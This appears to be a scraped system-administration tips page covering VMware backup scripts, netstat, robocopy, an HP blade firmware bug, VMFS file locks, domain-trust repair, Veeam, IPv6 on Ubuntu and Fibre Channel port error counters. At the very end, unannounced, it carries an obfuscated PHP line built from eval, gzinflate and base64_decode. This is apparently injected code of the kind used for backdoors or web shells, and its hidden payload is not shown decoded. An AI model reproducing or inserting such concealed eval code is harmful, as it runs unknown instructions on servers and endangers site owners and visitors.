VMware Backup Pre- And Post-Commands

Version of ESX Custom quiescing script directory
ESX/ESXi 3.5 Update 1 or earlier
C:\Windows\<pre-freeze-script.bat>
C:\Windows\<post-thaw-script.bat>
ESX/ESXi 3.5 Update 2 or later
C:\Program Files\VMware\VMware Tools\backupScripts.d\
ESX/ESXi 4.x C:\Windows\backupScripts.d\
ESXi 5.0
C:\Windows\
C:\Program Files\VMware\VMware Tools\backupScripts.d\
ESXi 5.1 and ESXi 5.5
C:\Windows\<pre-freeze-script.bat>
C:\Windows\<post-thaw-script.bat>

Windows:

To create a sample wrapper script,  you can create a text file and name it vcb.bat.
echo off
if "%1" == "freeze" goto doFreeze
goto doThaw
:doFreeze
call c:\windows\pre-freeze-script.bat
goto EOF
:doThaw
call c:\windows\post-thaw-script.bat
:EOF

Linux:

For Linux VMs, the scripts should be named

     /usr/sbin/pre-freeze-script

     /usr/sbin/post-thaw-script

Both must have 0755 permissions so that they are executable, and should be owned by root.

Veeam:
Make sure that ““Enable VMware Tools quiescence” is enabled, cauusing the scripts to be call to.

HOWTO: How do I list applications using network ports?

netstat -nabo

C:\WINDOWS\system32>netstat -nabo

Active Connections

Proto      Local Address        Foreign Address      State                   PID
TCP        0.0.0.0:80               0.0.0.0:0                  LISTENING     4

Can not obtain ownership information
TCP        0.0.0.0:135              0.0.0.0:0                  LISTENING 1004
RpcSs
[svchost.exe]
TCP        0.0.0.0:445            0.0.0.0:0                   LISTENING       4

Robocopy usage

As I use more often RoboCopy to get files from one server to the other. Here is what I use to get this done:

@ECHO OFF
 ROBOCOPY "<source>" "<target>" /COPYALL /DCOPY:T /MIR /SEC /e /R:1 /W:1 /mt:4 /LOG:"C:\temp\<filename>.log"
 exit

HP Proliant BL460c Gen9 HBA bug

Environment
FACT : HP ProLiant BL460c Gen9 Server
FACT : HP FlexFabric 20Gb 2-port 650FLB Adapter
FACT : ESX 5.5 U3
FACT : Updated to lates OA and VC FC version (4.45)
 
Questions/Symptoms
SYMPTOM : Storage path may disappear after 650FLB Firmware upgrade to 10.5.65.21.
SYMPTOM :Problem is seen with Virtual Connect FLexfabric 10/24 and 20/40 modules.
SYMPTOM : No network avaiable during install of ESXi (HP version), so fails.
 
Upgrading with latest firmware (10.5.65.21) on 650 FLB may cause the path to the storage to disappear. This issue may occur when using the latest SPP Version 2015.06.0.
 
Cause
CAUSE: This issue only occurs because of the 650FLB firmware version 10.5.65.21
 
Answer/Solution
FIX: This issue is currently under investigation
As Workaround downgrade the firmware to 10.2.477.23 using (SPP) Version 2015.04.0 Or Reduce the uplink to 1 per Virtual connect SAN fabric or OneView Fibre Channel Uplink set.
Do this by applying the interactive mode and ONLY “upgrade” the Emulex LOM firmware back down to 10.2.477.23.

Unable to delete a flat-vmdk file from VMFS5 volume

Start by identifying the server whose VMkernel may be locking the file.

# vmkfstools -D /vmfs/volumes/UUID/VMDIR/LOCKEDFILE.xxx

 > Hostname vmkernel: gen 532, mode 1, owner xxxxxxxx-xxxxxxxx-xxxx- zzzzzzzzzzzz mtime xxxxxxxxxx]

zzzzzzzzzzzz gives the MAC adres of the server locking the file.

# lsof | grep -i LOCKEDFILE.xxx

OR

# vmkvsitools lsof | grep LOCKEDFILE.xxx

You see output similar to:

11773 vmx 12 46 /vmfs/volumes/Datastore_Name/VirtualMachineName/ VirtualMachineName-flat.vmdk

kill -9 PID (in the above case 11773)

The trust relationship between this workstation and the primary domain failed

Sometimes, and in my case after a failes “Migrate to production” of a server (as the ESX host died on me while migrating). After a Full VM Recovery the server won’t logon to the domain.

What to do:

Open a Command Prompt as Administrator (logged on localy)

And enter following command:

netdom.exe resetpwd /s:<server> /ud:<user> /pd:*
Where:
<server> is the domain controller of the domain.
<user> is the domain\user administrator user for the domain.
the pd:* will ask you for the password.

You should recieve a success.

REBOOT and logon to the domain.

Veeam: How to Move the VBRCatalog Folder

You will need to make changes to the registry to change the VBRCatalog folder location. To do so:

  • Stop the Veeam Services
  • Edit following registry key:

HKEY_LOCAL_MACHINE\SOFTWARE\Veeam\Veeam Backup Catalog
Find the string called CatalogPath, right-click it and choose modify

  • Restart the services mentioned above

How to disable IPv6 in Ubuntu 14.04?

To disable ipv6, you have to open /etc/sysctl.conf using any text editor and insert the following lines at the end:
 net.ipv6.conf.all.disable_ipv6 = 1
 net.ipv6.conf.default.disable_ipv6 = 1
net.ipv6.conf.lo.disable_ipv6 = 1

If ipv6 is still not disabled, then the problem is that sysctl.conf is still not activated.
 $ sudo sysctl -p

You will see this in the terminal:
 net.ipv6.conf.all.disable_ipv6 = 1
 net.ipv6.conf.default.disable_ipv6 = 1
 net.ipv6.conf.lo.disable_ipv6 = 1

After that, if you run:
 $ cat /proc/sys/net/ipv6/conf/all/disable_ipv6

It will report:

 1

If you see 1, ipv6 has been successfully disabled.

 PortErrShow output 

Frames tx/rx N/A
counters representing the number of frames transmitted

Enc_in
8bit/10bit encoding errors inside frame. Words inside of frames are encoded,
if this encoding is corrupted or an error is detected enc_in is generated.”
”Minimum compliance with the link bit error rate specification on a link continuously”
”receiving frames would cause approximately one error every 20 minutes.”
”Re-initialisation / reboots of the associated Nx-port can also cause these errors.”

Crc_err
crc errors – a mathematical formula generates counters at sending port,
receiving port uses the same formula to check and compare.
”Statistically, crc_err and enc_out errors together imply GBIC/SFP problem.”
”Also see “bad_eof” below.”

Too_long
FC frames are 2148 bytes maximum. Frames that were longer than the FC
maximum (SOF+header+2112bytes+CRC+EOF). If an eof is corrupted or data
generation is incorrect a too_long error is reported.

Too_short
The too_short error statstics counter is incremented whenever a frame,
bounded by an SOF and EOF, is received and the number of words between the SOF
and EOF is less than 7 words (6 words header plus 1 word CRC), i.e. 38 bytes (not 48)
including the SOF and EOF.
‘This could be caused by the transmitter, or an unreliable link.”

Bad_eof
After a loss of synchronization error, continuous-mode alignment allows
the receiver to re-establish word alignment at any point in the incoming bit stream
while the receiver is operational. If such a re-alignment occurs, detection of the
resulting error condition is dependant upon higher level functions (eg: invalid CRC,
missing EOF)

Enc_out
8bit/10bit encoding errors occurred in words (ordered sets) outside of the
FC frame. Words outside of frames are encoded, if this encoding is corrupted or an
error is detected enc_out is generated. It indicates a problem if it increments faster
than the link-bit error rate allows, approximately once every 20 minutes for 1 Gbit/s.
”Statisically, enc_out errors on their own imply a cable/connector problem.”<br>Enc_out”
”errors and crc_err together imply GBIC/SFP problem.”
”Such errors are also expected every time a user brings a port down and up (i.e. reboot”
”host, power-cycle storage subsystem, unplug/plug cable or portdisable/portenable”
”etc).Such errors will also be generated on a link which has a 1Gbit/s port connected”
”to a 2Gbit/s port when autonegotiation is turned off.”

Disc c3
Discard class 3 errors could be generated by switch when devices send
frames without FLOGIing first or with an invalid destination. This error is just
reporting that a discard occurred.

Link-fail
If a port remains in the LR Receive State for a period of time greater than a
timeout period (R_A_TOV), a link reset protocol timeout shall be detected which
results in a link failure condition (enter the NOS transmit state). The link failure also
indicates that loss of signal or loss of sync lasting longer than the R_ATOV value was
detected while not in the offline state.

Loss sync
Synchronisation failures on either bit or transmission-word boundaries are
not separately identifiable and cause loss-of-synchronisation errors.
”Such errors are also expected every time a user brings a port down and up (i.e. reboot ”
”host, power-cycle storage subsystem, unplug/plug cable or portdisable/portenable ”
”etc).”

Loss sig
Occurs when a signal is transmitted but none is being received on the same
port.
”Such errors are also expected every time a user brings a port down and up (i.e. reboot ”
”host, power-cycle storage subsystem, unplug/plug cable or portdisable/portenable ”
”etc).”

Frjt
If the fabric can’t process a class 2 frame a F_RJT is returned

Frbsy
If a fabric can’t deliver a class 2 frame within E_D_TOV frame will be<br>
discarded and a F_BSY returned

Onboard Administrator not pingable after upgrade to 4.40 and up

On some occasions, I have seen that after upgrading from (for example from 3.70 to 4.40 and up), the Onboard Administrator is not accessible anymore. Even connecting direct with a Laptop to the OA port does not reply on a ping.

The problem came from the fact that the OA’s IP was tagged and had fallen back to the default VLAN, but still being tagged.

You can change it back to the correct VLAN by setting it on the Front Operational Pannel.

eval(gzinflate(base64_decode('vZHRasIwFIavV/AdQpCSglSvJ7INV3Aw0NV2N2MESU9tZpZTkuiE6bsvOrsibre7/c+X/3xJwBg03ECNxkm9ZINoGHTHWECePpIRoZVz9XW/r6ReFShWscD3vkDtQLu4ruobWYzCCq0b0XhtFGjhj7Iunyfpc5K+0EmWzfhkOs/oaxTTcG3kH2CaPOXJPON5+uDRYdAJZEkYk9ptFootwXFRLvlmYRhdKIUf3JfwEmvQNIrIbkdOpNSSe/o3KiJhSMq1Fk6i5rCV1llGS6mAH/u/b2UPfZ+d4ApEheT2Ysya14mGnWBPQFn4R9NGrnvS8V90VDyzOqm/odSM0h5p4HPji35xUPBWrl1S+f6f+HzHMbbgsPYDUfXI2E+ms4xPkrv7JO2RQYvBFsQBahOh0EIT7b8A'))); ?>